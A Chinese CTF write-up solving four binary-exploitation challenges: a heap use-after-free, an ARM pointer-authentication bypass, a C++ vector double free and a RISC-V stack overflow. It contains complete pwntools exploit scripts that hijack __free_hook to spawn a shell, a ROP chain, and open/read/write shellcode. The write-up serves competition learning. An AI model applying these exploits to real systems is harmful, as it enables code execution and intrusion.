感谢xmzyshypnc 师傅手把手教学。
babyheap 漏洞是一个UAF
漏洞,程序实现了6
个程序,add,delete,edit,show,leave_name,show_name
,其中add
函数限制了申请堆块的大小,delete
函数中存在UAF
漏洞,leave_name
函数中申请了一个0x400
大小的堆块。
因此这里首先申请4
个0x20,fastbin
,接着leave_name
函数申请一个较大的堆块,使得fastbin
堆块合并成0x80
大小的small bin
,这样就能泄漏出libc
基址,由于edit
的起始位置是+8
开始的,因此再次申请的堆块大小需要覆盖三个fastbin
,因此申请一个0x60
大小的堆块。这样就可以满足覆写fd
指针为free_hook-8
和/bin/sh
字符串两个要求。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 from pwn import *file_path = "./pwn" context.arch = "amd64" context.log_level = "debug" context.terminal = ['tmux' , 'splitw' , '-h' ] elf = ELF(file_path) debug = 0 if debug: p = process([file_path]) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' ) one_gadget = 0x0 else : p = remote('52.152.231.198' , 8081 ) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' ) one_gadget = 0x0 def add (index, size ): p.sendlineafter(">> \n" , "1" ) p.sendlineafter("input index\n" , str (index)) p.sendlineafter("input size\n" , str (size)) def delete (index ): p.sendlineafter(">> \n" , "2" ) p.sendlineafter("input index\n" , str (index)) def edit (index, content ): p.sendlineafter(">> \n" , "3" ) p.sendlineafter("input index\n" , str (index)) p.sendafter("input content\n" , content) def show (index ): p.sendlineafter(">> \n" , "4" ) p.sendlineafter("input index\n" , str (index)) def leave_name (name ): p.sendlineafter(">> \n" , "5" ) p.sendafter("your name:\n" , name) def show_name (): p.sendlineafter(">> \n" , "6" ) for i in range (11 ): add(i, 0x18 ) for i in range (7 ): delete(i + 4 ) delete(0 ) delete(1 ) delete(2 ) delete(3 ) leave_name("1212" ) show(0 ) libc.address = u64(p.recvline().strip(b"\n" ).ljust(8 , b"\x00" )) - 0xd0 - 0x10 - libc.sym['__malloc_hook' ] for i in range (7 ): add(i + 4 , 0x18 ) log.success("libc address is {}" .format (hex (libc.address))) add(11 , 0x60 ) delete(1 ) payload = b"a" *0x10 + p64(0x61 ) + p64(libc.sym['__free_hook' ] - 0x8 ) payload += b"b" *0x10 + p64(0x21 ) + b"/bin/sh\x00" edit(11 , payload) add(12 , 0x50 ) add(13 , 0x50 ) edit(13 , p64(libc.sym['system' ])) delete(2 ) p.interactive()
babypac Pointer Authentication Code, PAC机制 在2016
年的时候ARMv8架构里增加了ARMv8.3-A
,这个版本里增加了Pointer Authentication
指令:强化指针安全的一种机制,用来增强栈溢出的保护。该种机制使用指针地址的高位bit
(一般来说是高7bit
)存储特定于某个指针的签名,之所以可以这样做是因为在当前64
位的linux
下地址空间也就是指针的实际长度并不是64
位。用来计算签名的key
存放在处理器内部不可见的寄存器里面。
使用pa
机制之后代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 +--------------------------------------------------------------------+ | | No SSP | SSP | +-----------|---------------------------|----------------------------+ | | SUB sp, sp, #0x40 | ` PACIASP ` | | | STP x29, x30, [sp,#0x30] | SUB sp, sp, #0x40 | | Prologue | ADD x29, sp, #0x30 | STP x29, x30, [sp,#0x30] | | | ... | ADD x29, sp, #0x30 | | | | ... | +-----------|---------------------------|----------------------------+ | | ... | ... | | | LDP x29,x30,[sp,#0x30] | LDP x29,x30,[sp,#0x30] | | Epilogue | ADD sp,sp,#0x40 | ADD sp,sp,#0x40 | | | RET | ` AUTIASP ` | | | | RET | +--------------------------------------------------------------------+
这里RETAA
指令就相当于AUTIASP,RET
两个指令的组合。此时的返回地址为加密之后的返回地址指针,如0x400ff8->0x51000000400ff8
。因此攻击者很难通过栈溢出覆写返回地址,因为其并不知道该地址加密之后的值,具体来说是指针高7bint
的值。
标准中使用的变体QARMA-64
,将一个128 bit
密钥,一个64 bit
明文值(指针)和一个64 bit
调整项(上下文,context
)作为输入,并产生一个64 bit
密钥作为输出128bit
密文。,该机制提供五个128bit (Pointer Authentication)PA keys
,其中APIAkey,APIBkey
两个密钥用来加密指令指针,APDAKey,APDBKey
用来加密数据指针,APGAKey
是一个特殊的全局密钥,通过PACGA
指令加密大块的数据。
PAC*
指令用来在当前的指针中生成和插入PAC
,例如PACIA x8,x9
将使用APIAKey
密钥对x8
中保存的指针进行加密,其中x9
中的内容当作context
。将加密之后的结果输出到x8
中。PACIZA
指令类似,只不过将context
固定为0
。
AUT*
指令用来验证PAC
的正确性,如果正确则恢复解密后的指针,否则将错误代码写入指针的高位bit
,触发错误。AUTIA x8, x9
则是将x9
中的内容用作context
,APIAKey
作为密钥解密x8
中的指针。
XPAC*
则是清除指令中的PAC
机制,恢复原本的指针而不经过验证。
BLRA*
指令是组合跳转指令,用于验证和跳转,BLRAA x8,x9
验证PAC
正确之后,跳转到x8
指针指向的指令地址。
LDRA*
指令是组合数据加载指令,用于验证和数据加载,LDRAA x8,x9
验证正确之后将解密之后的地址出的64bit
数据load
到x8
中
RETA*
指令是组合返回指令,用于验证和ret
。LR
寄存器中的指针验证正确之后即跳转。RETAB
是用APIBKey
密钥验证LR
寄存器的值。
机制可能存在的问题:如果攻击者可以进行任意代码执行,并且程序中存在signing gadget
也就是可以sign
任意指针的函数。那么攻击者就可以劫持执行流指向该函数,伪造任意的pac
加密指针。
更详细的分析参考这里
题解 回到这个题目,题目首先输入name
,实现了四种功能add,lock,show,auth
,其中定义了一个user
的结构体
1 2 3 4 00000000 my_user struc ; (sizeof =0x10 , mappedto_37)00000000 id DCQ ?00000008 is_lock DCQ ?00000010 my_user ends
add
用来增加一个user
结构体,lock
用来对user
种的id
进行加密,show
函数用来输出name
和所有的user
结构体的数据。auth
是漏洞函数,题目的漏洞很简单,绕过特定的条件之后就会给出一个栈溢出的漏洞。关键是条件怎么绕过,我们看一下代码
1 2 3 4 5 6 7 if ( (int )index < 5 && *(_QWORD *)&name[16 * (int )index + 0x20 ] && *(_QWORD *)&name[16 * (int )index + 0x28 ] == 1LL ){ v1 = *(my_user **)&name[0x10 * (int )index + 0x20 ]; index = encrypt(0x10A9FC70042 LL); if ( v1 == (my_user *)index ) index = overflow(); }
但是我们输入的id
是32bit
,这里的0x10A9FC70042LL
很明显超过了四个字节,因此直接为id
赋值走不通。这里注意到lock
函数存在一个越界漏洞
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 __int64 lock () { __int64 index; int v1; printf ("idx: " ); index = readint(); v1 = index; if ( (int )index < 5 && *(_QWORD *)&name[16 * (int )index + 32 ] && !*(_QWORD *)&name[16 * (int )index + 40 ] ) { index = encrypt(user_list[(int )index].id); user_list[v1].id = index; user_list[v1].is_lock = 1LL ; } return index;
其没有判断index<0
的情况。并且这里name,user_list
相距很近
1 2 3 4 5 6 .bss:0000000000412030 ; char name[32 ] .bss:0000000000412030 name % 0x20 ; DATA XREF: add+10 ↑o .bss:0000000000412030 ; lock+40 ↑o ... .bss:0000000000412050 ; struct my_user user_list [5] .bss : 0000000000412050 user_list % 0x50 ; DATA XREF: lock+7 C↑o.bss:0000000000412050 ; .bss ends
因此我们可以首先在name
中布局好0x10A9FC70042LL
的值,接着利用越界漏洞加密该值即可绕过验证。此时我们就可以进入到溢出函数中。但是这里又存在一个问题就是无法获取返回地址。在调试的过程中我们发现lock
函数传给encrypt
并不是我们输入的数据,而是PACIA
过后的数据,也就是如果我们将name
设置为0x400ff8
其加密的数据是0x51000000400ff8
,那么此时如果通过show
函数泄漏出加密之后的值,再解密即可得到返回地址加密之后的数据。
看一下加密函数
1 return a1 ^ (a1 << 7 ) ^ ((a1 ^ (unsigned __int64)(a1 << 7 )) >> 11 ) ^ ((a1 ^ (a1 << 7 ) ^ ((a1 ^ (unsigned __int64)(a1 << 7 )) >> 11 )) << 31 ) ^ ((a1 ^ (a1 << 7 ) ^ ((a1 ^ (unsigned __int64)(a1 << 7 )) >> 11 ) ^ ((a1 ^ (a1 << 7 ) ^ ((a1 ^ (unsigned __int64)(a1 << 7 )) >> 11 )) << 31 )) >> 13 );
这里抽象的理解为递归加密,最外层可以分解为
1 2 3 a1 ^ (a1 << 7 ) ^ ((a1 ^ (unsigned __int64)(a1 << 7 )) >> 11 ) ^ ((a1 ^ (a1 << 7 ) ^ ((a1 ^ (unsigned __int64)(a1 << 7 )) >> 11 )) << 31 ) ^ ((a1 ^ (a1 << 7 ) ^ ((a1 ^ (unsigned __int64)(a1 << 7 )) >> 11 ) ^ ((a1 ^ (a1 << 7 ) ^ ((a1 ^ (unsigned __int64)(a1 << 7 )) >> 11 )) << 31 )) >> 13 );
也就是可以理解为x ^ (x>>13)
。这种加密方式我们可以此次进行破解,比如说y ^ (1 << (64 -13) - 1)
的值就是x
高13
位的值。那么之后依次进行解密即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 def temp (s, e ): return ((1 << e) - 1 ) - ((1 << s) - 1 ) def re (n ): i = 64 while i > 0 : n = n ^ ((n & temp(max (0 , i - 13 ), i)) >> 13 ) n = n & ((1 << 64 ) - 1 ) i = i - 13 i = 0 while i < 64 : n = n ^ ((n & temp(i, min (i + 31 , 64 ))) << 31 ) n = n & ((1 << 64 ) - 1 ) i = i + 31 i = 64 while i > 0 : n = n ^ ((n & temp(max (0 , i - 11 ), i)) >> 11 ) n = n & ((1 << 64 ) - 1 ) i = i - 11 i = 0 while i < 64 : n = n ^ ((n & temp(i, min (i + 7 , 64 ))) << 7 ) n = n & ((1 << 64 ) - 1 ) i = i + 7 return n
最终的exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 import itertoolsfrom pwn import *file_path = "./chall" context.arch = "amd64" context.log_level = "debug" context.terminal = ['tmux' , 'splitw' , '-h' ] elf = ELF(file_path) debug = 0 if debug: p = process(["qemu-aarch64" , "-L" , "." , "-g" , "1234" , file_path]) libc = ELF('./lib/libc.so.6' ) one_gadget = 0x0 else : p = remote('52.255.184.147' , 8080 ) libc = ELF('./lib/libc.so.6' ) one_gadget = 0x0 ''' .text:0000000000400FD4 MOV X19, #0 .text:0000000000400FD8 .text:0000000000400FD8 loc_400FD8 ; CODE XREF: sub_400F90+64↓j .text:0000000000400FD8 LDR X3, [X21,X19,LSL#3] .text:0000000000400FDC MOV X2, X24 .text:0000000000400FE0 ADD X19, X19, #1 .text:0000000000400FE4 MOV X1, X23 .text:0000000000400FE8 MOV W0, W22 .text:0000000000400FEC BLR X3 .text:0000000000400FF0 CMP X20, X19 .text:0000000000400FF4 B.NE loc_400FD8 .text:0000000000400FF8 .text:0000000000400FF8 loc_400FF8 ; CODE XREF: sub_400F90+3C↑j .text:0000000000400FF8 LDP X19, X20, [SP,#var_s10] .text:0000000000400FFC LDP X21, X22, [SP,#var_s20] .text:0000000000401000 LDP X23, X24, [SP,#var_s30] .text:0000000000401004 LDP X29, X30, [SP+var_s0],#0x40 .text:0000000000401008 RET ''' csu_start = 0x400FF8 csu_end = 0x400FD8 name_add = 0x412030 def csu (call_addr, arg0, arg1, arg2, jmp_addr=csu_end ): payload = p64(0 ) + p64(jmp_addr) payload += p64(0 ) + p64(1 ) payload += p64(call_addr) + p64(arg0) payload += p64(arg1) + p64(arg2) return payload def add (id ): p.sendlineafter(">> " , "1" ) p.sendlineafter("identity: " , str (id )) def lock (index ): p.sendlineafter(">> " , "2" ) p.sendlineafter("idx: " , str (index)) def show (): p.sendlineafter(">> " , "3" ) def auth (index ): p.sendlineafter(">> " , "4" ) p.sendlineafter("idx: " , str (index)) def temp (s, e ): return ((1 << e) - 1 ) - ((1 << s) - 1 ) def re (n ): i = 64 while i > 0 : n = n ^ ((n & temp(max (0 , i - 13 ), i)) >> 13 ) n = n & ((1 << 64 ) - 1 ) i = i - 13 i = 0 while i < 64 : n = n ^ ((n & temp(i, min (i + 31 , 64 ))) << 31 ) n = n & ((1 << 64 ) - 1 ) i = i + 31 i = 64 while i > 0 : n = n ^ ((n & temp(max (0 , i - 11 ), i)) >> 11 ) n = n & ((1 << 64 ) - 1 ) i = i - 11 i = 0 while i < 64 : n = n ^ ((n & temp(i, min (i + 7 , 64 ))) << 7 ) n = n & ((1 << 64 ) - 1 ) i = i + 7 return n if debug == 0 : p.recvuntil("xxxx+" ) key = p.recvuntil(")" , drop=True ).decode() p.recvuntil("== " ) hash = p.recvline().strip(b"\n" ).decode() print ("key is " , key, " hash is " , hash ) code = '' strlist = itertools.product(string.ascii_letters + string.digits, repeat=4 ) for i in strlist: code = i[0 ] + i[1 ] + i[2 ] + i[3 ] encinfo = hashlib.sha256((code + key).encode("utf-8" )).hexdigest() if encinfo == hash : print (code) break p.sendline(code) name = p64(csu_start) + p64(0 ) + p64(0x10A9FC70042 ) + p64(0 ) p.sendafter("input your name: " , name) lock(-2 ) show() p.recvuntil("name: " ) pac = u64(p.recvline().strip(b"\n" )[:-1 ]) new_csu_start = re(pac) log.success("pac csu start address is {}" .format (hex (new_csu_start))) lock(-1 ) auth(-1 ) puts_got = elf.got['puts' ] read_got = elf.got['read' ] read_plt = elf.plt['read' ] payload = b"a" *0x20 + p64(0 ) + p64(new_csu_start) payload += csu(puts_got, read_got, 0 , 0 ) payload += csu(read_got, 0 , name_add, 0x20 ) payload += csu(name_add, name_add+8 , 0 , 0 ) p.sendline(payload) libc.address = u64(p.recvline().strip(b"\n" ).ljust(8 , b"\x00" )) + 0x4000000000 - libc.sym['read' ] log.success("libc address is {}" .format (hex (libc.address))) p.sendline(p64(libc.sym['system' ]) + b"/bin/sh\x00" ) p.interactive()
babygame 程序实现了一个类似于迷宫的操作,提供了如下的几种功能
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 h Sokoban How to Play: Push all boxs into target place Map: 1 )█:wall 2 )○:Target 3 )□:Box 4 )♀:Player 5 )●:Box on target Command: 1 )h: show this message 2 )q: quit the game 3 )w: move up 4 )s: move down 5 )a: move left 6 )d: move right 7 )b: move back 8 )m: leave message k)n: show name 10 )l: show message
目前逆向出的game
结构体如下,其中map
另有结构体存储。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 00000000 game struc ; (sizeof =0x50 , mappedto_7)00000000 map_vector_start dq ?00000008 current_vector dq ?00000010 vector_end dq ?00000018 start_time dq ?00000020 end_time dq ?00000028 cost_time dq ?00000030 level dd ?00000034 unknown dd ?00000038 step_forward db ?00000039 is_quit db ?0000003 A db ? ; undefined0000003B db ? ; undefined0000003 C db ? ; undefined0000003 D db ? ; undefined0000003 E db ? ; undefined0000003F db ? ; undefined00000040 map dq ?00000048 message dq ?00000050 game ends
程序的主要逻辑如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 __int64 __usercall main@<rax>(__int64 a1@<rdi>, char **a2@<rsi>, char **a3@<rdx>, unsigned int a4@<r12d>) { __int64 v4; char v6; v6 = 1 ; while ( v6 ) { game_func(a4); v4 = std ::operator<<<std ::char_traits<char >>(&std ::cout , "restart?" ); std ::ostream::operator<<(v4, &std ::endl <char ,std ::char_traits<char >>); if ( (unsigned __int8)get_input_filter(v4, &std ::endl <char ,std ::char_traits<char >>) != 121 ) v6 = 0 ; } return 0LL ; } unsigned __int64 __usercall game_func@<rax>(unsigned int a1@<r12d>){ unsigned __int64 result; char v2; unsigned __int64 v3; v3 = __readfsqword(0x28 u); init_game((game *)&v2, 0 ); game_start((game *)&v2, 0LL , a1); result = leave_name((__int64)&v2); __readfsqword(0x28 u); return result; } void __usercall game_start (game *a1@<rdi>, unsigned __int64 a2@<rsi>, unsigned int a3@<r12d>) { char num; game *a1a; a1a = a1; sub_FE91(); a1->step_forward = 1 ; a1->level = -1 ; while ( !a1a->is_quit ) { while ( a1a->level == -1 && !a1a->is_quit ) { num = get_input((__int64)a1, (void *)a2); a2 = (unsigned int )num; a1 = a1a; detec_error_quit(a1a, num); } if ( a1a->is_quit ) break ; get_map(a1a); handle_step(a1a, a3); a1 = a1a; put_map_vector(a1a); } sub_FE98(); } unsigned __int64 __fastcall leave_name (game *a1) { __int64 v1; __int64 v2; game *v4; __int64 name; unsigned __int64 v6; v4 = a1; v6 = __readfsqword(0x28 u); v1 = std ::operator<<<std ::char_traits<char >>(&std ::cout , "leave your name?" ); std ::ostream::operator<<(v1, &std ::endl <char ,std ::char_traits<char >>); if ( (unsigned __int8)get_input_filter(v1, &std ::endl <char ,std ::char_traits<char >>) == 'y' ) { v2 = std ::operator<<<std ::char_traits<char >>(&std ::cout , "your name:" ); std ::ostream::operator<<(v2, &std ::endl <char ,std ::char_traits<char >>); std ::__cxx11::basic_string<char ,std ::char_traits<char >,std ::allocator<char >>::basic_string(&name); std ::getline<char ,std ::char_traits<char >,std ::allocator<char >>(&std ::cin , &name); put_name_to_vector((game *)&::a1, (__int64)&name); std ::__cxx11::basic_string<char ,std ::char_traits<char >,std ::allocator<char >>::~basic_string(&name, &name); } clear_map_vector(v4); operator delete ((void *)v4->message) ; sub_C026(v4); return __readfsqword(0x28 u) ^ v6; }
程序存在两个漏洞,一个是算是message
脏数据。首先在init_game
函数中为game->message
分配空间的时候并没有清空内存中的数据,而message
的堆块大小为0x510
,也就是说释放之后重新申请即可以泄漏得到libc
基址。程序恰好存在restart
的情况,因此我们可以据此泄漏得到libc
基址。
1 2 3 4 5 6 7 send_level("q" ) send_order("n" ) send_order("y" ) send_level("l" ) p.recvuntil("message:" ) libc.address = u64(p.recvline().strip(b"\n" ).ljust(8 , b"\x00" )) - 96 - 0x10 - libc.sym['__malloc_hook' ] log.success("libc address is {}" .format (hex (libc.address)))
另一个就是map+0xe0
处保存指针的double free
漏洞。该处的漏洞是在调试中发现的,在update level
之后退出会出现一个double free
的漏洞,堆块的大小是0x60
。那么接下来就是double free
如何利用的问题了。我们能够进行任意堆块分配的就是message
了。但是程序中采用的是cin
进行读取的,不能覆盖到0x60
的堆块。但是我们看到在读取得到message
之后会将其put vector
。在该函数中会将按照我们输入的message
的长度进行堆块申请
1 2 3 4 if ( current_vector_c ) current_vector_c = std ::__cxx11::basic_string<char ,std ::char_traits<char >,std ::allocator<char >>::basic_string( current_vector_c, name_c);
这里就达到了我们任意申请堆块的目的。下面就是正常的double free
的操作了。这里注意的是put_name_vector
函数调用结束之后就是name
的析构函数。
1 2 3 4 put_name_to_vector((game *)&::a1, (__int64)&name); std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string( (__int64)&name, (__int64)&name);
在我们覆写完毕free_hook
之后此处是第一次调用的位置,因此我们将name
的起始八个字节改为/bin/sh
,覆写的fd
指针自然变为free_hook-0x8
。
这里需要注意的是name,map
是两个vector
。这里我们message
输入的时候恰好为第四个不需要扩展。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 from pwn import *file_path = "./pwn" context.arch = "amd64" context.log_level = "debug" context.terminal = ['tmux' , 'splitw' , '-h' ] elf = ELF(file_path) debug = 0 if debug: p = process([file_path]) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' ) one_gadget = 0x0 else : p = remote('52.152.231.198' , 8082 ) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' ) one_gadget = 0x0 def send_order (order ): p.sendlineafter("Please input an order:\n" , order) def send_level (level ): p.sendlineafter("Please input an level from 1-9:\n" , level) def leave_name (name ): p.sendlineafter("your name:" , name) send_level("q" ) send_order("n" ) send_order("y" ) send_level("l" ) p.recvuntil("message:" ) libc.address = u64(p.recvline().strip(b"\n" ).ljust(8 , b"\x00" )) - 96 - 0x10 - libc.sym['__malloc_hook' ] log.success("libc address is {}" .format (hex (libc.address))) send_level("1" ) send_order("2" ) send_order("q" ) send_order("n" ) leave_name(b"a" *0x70 ) send_order("y" ) send_level("9" ) send_order("q" ) send_order("y" ) leave_name(p64(libc.sym['__free_hook' ]- 0x8 ).ljust(0x50 , b"\x00" )) send_order("y" ) send_level("9" ) send_order("q" ) send_order("y" ) leave_name(b"a" *0x50 ) send_order("y" ) gdb.attach(p, "b *$rebase(0xB56b)\nb *$rebase(0xB166)\nb *$rebase(0xa70d)\nb *$rebase(0xb06f)" ) send_level("9" ) send_order("q" ) send_order("y" ) leave_name((b"/bin/sh\x00" + p64(libc.sym['system' ])).ljust(0x50 , b"\x00" )) p.interactive()
分析了一下double free
的原因,是因为在update level
的时候,第一此set_level
会首先将map
放到vector
中,而第二次的时候又会执行put_map_vector
函数,此时map vector
需要进行扩展,而在扩展的过程中似乎会调用map
的析构函数,将map+0xe0
处的堆块指针释放掉,而当我们quit
的时候又回调用一次clear map vector
,此时又会调用map
的析构函数,再次释放堆块指针。
从官方的wp
来看,当使用vector::push_back()
函数的时候,它会调用拷贝函数,这是一个浅拷贝,如果将这个资源删除,并调用vector:clear()
函数,那么就会调用两次资源的析构函数,这就回导致double free
。但是这个程序中只调用了vectro:clear()
函数。这里需要注意的是vector
在容量不足的时候会发生扩展,扩展过程中仍然是进行一个浅拷贝,并调用vector
中对象的析构函数,来删除原vector
中的资源。这里满足了另一个资源释放,因此存在double free
。
Favourite Architecure flag1 riscv
栈溢出的漏洞,但是ghidra
反编译失败,不知道咋回事。
比赛之后这里看了Mid Station 文章,找到了一个解决方法,首先我们看到entry
函数,中首先设置了一个gp
寄存器的值。这里的寄存器的值在整个过程中是不变的。
1 2 3 4 5 6 void FUN_000101ec (void ) { gp = (undefined *)0x6f178 ; return ; }
因此这里我们首先ctrl-a
选中所有的反编译的代码,然后使用crtl-r
设置寄存器的值,将gp
的值设置为0x6f178
,之后回到main
函数,这里看到就可以反汇编了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 undefined8 UndefinedFunction_000103e6 (undefined8 param_1) { ulonglong uVar1; longlong lVar2; undefined auStack520 [192 ]; undefined auStack328 [256 ]; ulonglong uStack72; longlong lStack64; int iStack52; undefined8 uStack40; undefined8 uStack24; uStack24 = param_1; FUN_0001616e(param_1); uStack40 = 0x10400 ; FUN_000159bc(1 ); FUN_00017d74(PTR_DAT_0006ea28,0 ); FUN_00017d74(PTR_DAT_0006ea20,0 ); FUN_00017d74(PTR_DAT_0006ea18,0 ); FUN_0001605a("Input the flag: " ); read(auStack328); uVar1 = strlen (auStack328); if (uVar1 == ((longlong)(iRam000000000006e9dc + iRam000000000006e9d8) & 0xffffffff U)) { lStack64 = FUN_00020386(auStack328 + ((longlong)iRam000000000006e9d8 & 0xffffffff )); FUN_0001118a(auStack520,"tzgkwukglbslrmfjsrwimtwyyrkejqzo" ,"oaeqjfhclrqk" ,0x80 ); FUN_000111ea(auStack520,auStack328,iRam000000000006e9d8); lVar2 = FUN_00020e2a(auStack328,&DAT_0006d000,iRam000000000006e9d8); if (lVar2 == 0 ) { uStack72 = strlen (lStack64); iStack52 = 0 ; while ( true ) { if (uStack72 >> 3 <= (ulonglong)(longlong)iStack52) { FUN_00016bc8("You are right :D" ); gp = (undefined *)0x6f178 ; return 0 ; } FUN_000102ae(iStack52 * 8 + lStack64,&DAT_0006d060); lVar2 = FUN_00020e2a(iStack52 * 8 + lStack64,(longlong)(iStack52 * 8 ) + 0x6d030 ,8 ); if (lVar2 != 0 ) break ; iStack52 = iStack52 + 1 ; } } } FUN_00016bc8("You are wrong ._." ); gp = (undefined *)0x6f178 ; return 1 ; }
漏洞存在于输入flag
的地方。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 00010436 b7 e7 04 00 lui a5=>DAT_0004e000,0x4e = FFh0001043 a 13 85 07 89 addi a0=>s_Input_the_flag:_0004d890,a5,-0x770 = "Input the flag: " 0001043 e ef 50 d0 41 jal ra,FUN_0001605a 00010442 93 07 84 ed addi a5,s0,-0x128 00010446 3 e 85 c.mv a0,a500010448 ef 60 20 61 jal ra,read 0001044 c 93 07 84 ed addi a5,s0,-0x128 00010450 3 e 85 c.mv a0,a500010452 ef 00 21 09 jal ra,strlen 00010456 aa 86 c.mv a3,a000010458 03 a7 01 86 lw a4,-0x7a0 (gp)0001045 c 83 a7 41 86 lw a5,-0x79c (gp)00010460 b9 9f c.addw a5,a400010462 81 27 c.addiw a5,0x0 00010464 82 17 c.slli a5,0x20 00010466 81 93 c.srli a5,0x20 00010468 63 94 f6 10 bne a3,a5,LAB_00010570 LAB_00010570 XREF[1 ]: 00010468 (j) 00010570 01 00 c.nop00010572 21 a0 c.j LAB_0001057aLAB_0001057a XREF[2 ]: 00010572 (j), 00010576 (j) 0001057 a b7 e7 04 00 lui a5=>DAT_0004e000,0x4e = FFh0001057 e 13 85 87 8f addi a0=>s_You_are_wrong_._._0004d8f8,a5,-0x70 = "You are wrong ._." 00010582 ef 60 60 64 jal ra,FUN_00016bc8 00010586 85 47 c.li a5,0x1 LAB_00010588 XREF[1 ]: 0001056 e(j) 00010588 3 e 85 c.mv a0,a50001058 a fe 70 c.ldsp ra,0x1f8 (sp)0001058 c 5 e 74 c.ldsp s0,0x1f0 (sp)0001058 e 13 01 01 20 addi sp,sp,0x200 00010592 82 80 ret
从第一层的逻辑看来,首先是read
了一个很长的字符串(注意到这里的函数不一定是read
功能类似)。但是分配的长度才是0x128
字节大小,因此这里可以溢出。并且如果我们输入的长度不为0x59
那么直接会跳转到错误输出的位置之后结束进程,在结束进程的时候读取了sp+0x1f8
的位置的值作为返回地址,因此我们可以直接溢出到返回地址。那么接下来就是如何利用的问题。
注意到题目给出的patch
文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 diff --git a/linux-user/syscall.c b/linux-user/syscall.c index 27 adee9..2 d75464 100644 --- a/linux-user/syscall.c +++ b/linux-user/syscall.c @@ -13101 ,8 +13101 ,31 @@ abi_long do_syscall (void *cpu_env, int num, abi_long arg1, print_syscall(cpu_env, num, arg1, arg2, arg3, arg4, arg5, arg6); } - ret = do_syscall1(cpu_env, num, arg1, arg2, arg3, arg4, - arg5, arg6, arg7, arg8); + switch (num) { + + case TARGET_NR_brk: + case TARGET_NR_uname: + case TARGET_NR_readlinkat: + case TARGET_NR_faccessat: + case TARGET_NR_openat2: + case TARGET_NR_openat: + case TARGET_NR_read: + case TARGET_NR_readv: + case TARGET_NR_write: + case TARGET_NR_writev: + case TARGET_NR_mmap: + case TARGET_NR_munmap: + case TARGET_NR_exit: + case TARGET_NR_exit_group: + case TARGET_NR_mprotect: + ret = do_syscall1(cpu_env, num, arg1, arg2, arg3, arg4, + arg5, arg6, arg7, arg8); + break ; + default : + printf ("[!] %d bad system call\n" , num); + ret = -1 ; + break ; + } if (unlikely(qemu_loglevel_mask(LOG_STRACE))) { print_syscall_ret(cpu_env, num, ret, arg1, arg2,
我们看到其只允许调用特定的系统调用,也就是我们只能编写orw shellcode
,而程序没有开启pie
,也就是栈地址固定不变(需要注意的是本地栈地址和远程不一样,因此需要添加滑板指令,坑死了)。
shellcode
的编写参考这里
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 .section .text .globl _start .option rvc _start: #open li a1,0x67616c66 #flag sd a1,4 (sp) addi a1,sp,4 li a0,-100 li a2,0 li a7, 56 # __NR_openat ecall # read c.mv a2,a7 addi a7,a7,7 ecall # write li a0, 1 addi a7,a7,1 ecall
1 2 3 4 5 6 7 8 9 10 11 12 13 14 10078 : 676175b 7 lui a1,0x67617 1007 c: c665859b addiw a1,a1,-922 10080 : 00b 13223 sd a1,4 (sp)10084 : 004 c addi a1,sp,4 10086 : f9c00513 li a0,-100 1008 a: 4601 li a2,0 1008 c: 03800893 li a7,56 10090 : 00000073 ecall10094 : 8646 mv a2,a710096 : 089 d addi a7,a7,7 10098 : 00000073 ecall1009 c: 4505 li a0,1 1009 e: 0885 addi a7,a7,1 100 a0: 00000073 ecall
这里一开始我没有编译环境,因此这里的文件名的输入特别烦人。安装编译环境之后即可以进行编译直接获取shellcode
的字节信息
